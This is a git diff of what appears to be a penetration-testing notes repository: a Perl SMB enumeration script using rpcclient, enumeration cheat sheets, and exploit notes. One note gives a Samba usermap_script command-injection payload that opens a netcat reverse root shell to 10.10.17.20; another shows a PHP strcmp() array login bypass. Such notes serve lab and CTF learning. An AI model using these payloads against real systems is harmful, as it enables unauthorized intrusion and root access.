Name.*Num Members[^\n]*)/s; + if (defined($group_info)) { + print "$group_info\n\n"; + } else { + print_error("No info found\n\n"); + } +} + +sub get_user_details_from_rid { + my $rid = shift; + if (invalid_rid($rid)) { + print_error("Invalid RID passed: $rid\n"); + return 0; + } + return unless $global_detailed; + my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' -c 'queryuser $rid' '$global_target' 2>&1"; + print_verbose("Attempting to get detailed user info with command: $command\n") if $verbose; + my $user_info = `$command`; + ($user_info) = $user_info =~ /([^\n]*User Name.*logon_hrs[^\n]*)/s; + print "$user_info\n" if defined($user_info); + my ($acb_info) = $user_info =~ /acb_info\s+:\s+0x([0-9a-fA-F]+)/; + if ($acb_info) { + my $acb_int = hex($acb_info); + my $pad = "\t"; + if ($acb_int & 0x00000001) { + printf $pad . "%-25.25s: %s\n", "Account Disabled", "True"; + } else { + printf $pad . "%-25.25s: %s\n", "Account Disabled", "False"; + } + if ($acb_int & 0x00000200) { + printf $pad . "%-25.25s: %s\n", "Password does not expire", "True"; + } else { + printf $pad . "%-25.25s: %s\n", "Password does not expire", "False"; + } + if ($acb_int & 0x00000400) { + printf $pad . "%-25.25s: %s\n", "Account locked out", "True"; + } else { + printf $pad . "%-25.25s: %s\n", "Account locked out", "False"; + } + if ($acb_int & 0x00020000) { + printf $pad . "%-25.25s: %s\n", "Password expired", "True"; + } else { + printf $pad . "%-25.25s: %s\n", "Password expired", "False"; + } + if ($acb_int & 0x00000040) { + printf $pad . "%-25.25s: %s\n", "Interdomain trust account", "True"; + } else { + printf $pad . "%-25.25s: %s\n", "Interdomain trust account", "False"; + } + if ($acb_int & 0x00000080) { + printf $pad . "%-25.25s: %s\n", "Workstation trust account", "True"; + } else { + printf $pad . "%-25.25s: %s\n", "Workstation trust account", "False"; + } + if ($acb_int & 0x00000100) { + printf $pad . "%-25.25s: %s\n", "Server trust account", "True"; + } else { + printf $pad . "%-25.25s: %s\n", "Server trust account", "False"; + } + if ($acb_int & 0x00002000) { + printf $pad . "%-25.25s: %s\n", "Trusted for delegation", "True"; + } else { + printf $pad . "%-25.25s: %s\n", "Trusted for delegation", "False"; + } + } + print "\n"; +} + +sub invalid_rid { + my $rid = shift; + if ($rid =~ /^\d+$/) { + return 0; + } else { + return 1; + } +} + +sub get_printer_info { + print_heading("Getting printer info for $global_target"); + my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' -c 'enumprinters' '$global_target' 2>&1"; + print_verbose("Attempting to get printer info with command: $command\n") if $verbose; + my $printer_info = `$command`; + # ($group_info) = $group_info =~ /([^\n]*Group Name.*Num Members[^\n]*)/s; + if (defined($printer_info)) { + print "$printer_info\n\n"; + } else { + print_error("No info found\n\n"); + } + +} + +sub nbt_to_human { + my $nbt_in = shift; # multi-line + my @nbt_in = split (/\n/, $nbt_in); + my @nbt_out = (); + foreach my $line (@nbt_in) { + if ($line =~ /\s+(\S+)\s+<(..)>\s+-\s+?()?\s+?[A-Z]/) { + my $line_val = $1; + my $line_code = uc $2; + my $line_group = defined($3) ? 0 : 1; # opposite + + foreach my $info_aref (@nbt_info) { + my ($pattern, $code, $group, $desc) = @$info_aref; + # print "Matching: line=\"$line\", val=$line_val, code=$line_code, group=$line_group against pattern=$pattern, code=$code, group=$group, desc=$desc\n"; + if ($pattern) { + if ($line_val =~ /$pattern/ and $line_code eq $code and $line_group eq $group) { + push @nbt_out, "$line $desc"; + last; + } + } else { + if ($line_code eq $code and $line_group eq $group) { + push @nbt_out, "$line $desc"; + last; + } + } + } + } else { + push @nbt_out, $line; + } + } + return join "\n", @nbt_out; +} + +sub print_heading { + my $string = shift; + my $output = "$string"; + my $maxlen = 100; + my $len = $maxlen - length($output); + print "\n"; + print colored(" " . "=" x ($len / 2) . "( ", 'blue'); + print colored("$output", 'green'); + print colored(" )" . "=" x ($len / 2) . "\n\n", 'blue'); +} + +sub print_verbose { + my $string = shift; + my $output = "$string"; + print colored("\n[V] ", 'yellow'); + print colored("$output\n", 'magenta'); +} + +sub print_plus { + my $string = shift; + my $output = "$string"; + print colored("\n[+] ", 'yellow'); + print colored("$output\n", 'green'); +} + +sub print_info { + my $string = shift; + my $output = "$string"; + print colored("\n[I] ", 'yellow'); + print colored("$output\n", 'cyan'); +} + +sub print_error { + my $string = shift; + my $output = "$string"; + print colored("\n[E] ", 'yellow'); + print colored("$output\n", 'red'); +} diff --git a/Enumeration/SMBmap.md b/Enumeration/SMB.md similarity index 55% rename from Enumeration/SMBmap.md rename to Enumeration/SMB.md index 505eaec..4e58f56 100644 --- a/Enumeration/SMBmap.md +++ b/Enumeration/SMB.md @@ -1,3 +1,16 @@ +# SMB + +## SMBClient + +* Use `smbclient` to list the share +```sh +smbclient -L //$TARGET_IP/ +``` +* The protocol might be dated, try +```sh +smbclient -L //$TARGET_IP/ --option='client min protocol=NT1' +``` + # smbmap * [Repo](https://github.com/ShawnDEvans/smbmap.git) diff --git a/Enumeration/Windows/Manual Enum.md b/Enumeration/Windows/Manual Enum.md index 2811ae0..cddc233 100644 --- a/Enumeration/Windows/Manual Enum.md +++ b/Enumeration/Windows/Manual Enum.md @@ -70,3 +70,23 @@ wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list" ``` +### Scheduled Services + +* Check which services are scheduled via +```sh +schtasks +``` +* Powershell's equivalent to scheduled tasks therefore is +```sh +ps +``` + +## Files + +### Group permissions + +* Check modification permissions on files and if the current user is able to modify via +```sh +whoami /all +icacls +``` diff --git a/Exploits/IOT/Messaging_Protocols.md b/Exploits/IoT/Messaging_Protocols.md similarity index 100% rename from Exploits/IOT/Messaging_Protocols.md rename to Exploits/IoT/Messaging_Protocols.md diff --git a/Exploits/SMB/vsftpd_234_backdoor.md b/Exploits/SMB/vsftpd_234_backdoor.md new file mode 100644 index 0000000..3a004d8 --- /dev/null +++ b/Exploits/SMB/vsftpd_234_backdoor.md @@ -0,0 +1,11 @@ +# SMB Exploits + +## usermap_script.rb + +There can be a need to do manual exploitation for `Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)` like the HTB box `Lame` shows. +Since the automated exploit does not work, log in anonymously without an account and do the following +```sh +smb: \> logon "./=`nohup nc -e /bin/sh 10.10.17.20 4444`" +``` +A connection to the root shell is provided. + diff --git a/Exploits/Web/PHP strcmp.md b/Exploits/Web/PHP strcmp.md new file mode 100644 index 0000000..e832dd5 --- /dev/null +++ b/Exploits/Web/PHP strcmp.md @@ -0,0 +1,20 @@ +# PHP strcmp() bypass + +Given a `strcmp()` of a variable and a POST parameter value that looks like this +```php +[...] +if (strcmp($username, $_POST['username']) == 0) { + if (strcmp($password, $_POST['password']) == 0) { +[...] +``` + +If `$username` and `$password` are an array, sending a POST value as an array too will evaluate both `strcmp()` to 0. +Using a Burpsuite Proxy, intercepting the HTTP request and changing the POST parameters from +```http +username=admin&password=admin +``` + +to +```http +username[]=admin&password[]=admin +``` diff --git a/Exploits/Web/XXE.md b/Exploits/Web/XXE.md index a266f74..7f1fff8 100644 --- a/Exploits/Web/XXE.md +++ b/Exploits/Web/XXE.md @@ -8,6 +8,7 @@ There are two types of XXE attacks: in-band and out-of-band (OOB-XXE). 2. out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server. ## Document Type Definition (DTD) + A DTD defines the structure and the legal elements and attributes of an XML document. * Example file content of `note.dtd` @@ -37,6 +38,7 @@ A DTD defines the structure and the legal elements and attributes of an XML docu ``` ## Replacing XML content + * Name in the example ```xml ]> diff --git a/Miscellaneous/References.md b/Miscellaneous/References.md index 07e22d3..1dacb8e 100644 --- a/Miscellaneous/References.md +++ b/Miscellaneous/References.md @@ -1,3 +1,4 @@ # Miscellaneous References +## Static Binaries [andrew-d's statically compiles binary compilation](https://github.com/andrew-d/static-binaries.git) diff --git a/Reverse Shells/References.md b/Reverse Shells/References.md index a517338..465fbed 100644 --- a/Reverse Shells/References.md +++ b/Reverse Shells/References.md @@ -2,6 +2,7 @@ [pentestmonkey's PHP Reverse Shell](https://github.com/pentestmonkey/php-reverse-shell.git) [ivak-sincek's php-reverse-shell](https://github.com/ivan-sincek/php-reverse-shell.git) +[Impacket psexec.py](https://github.com/fortra/impacket/blob/master/examples/psexec.py) ## Generators diff --git a/Reverse Shells/Tools/pentestmonkey-rev.py b/Reverse Shells/Tools/pentestmonkey-rev.php similarity index 100% rename from Reverse Shells/Tools/pentestmonkey-rev.py rename to Reverse Shells/Tools/pentestmonkey-rev.php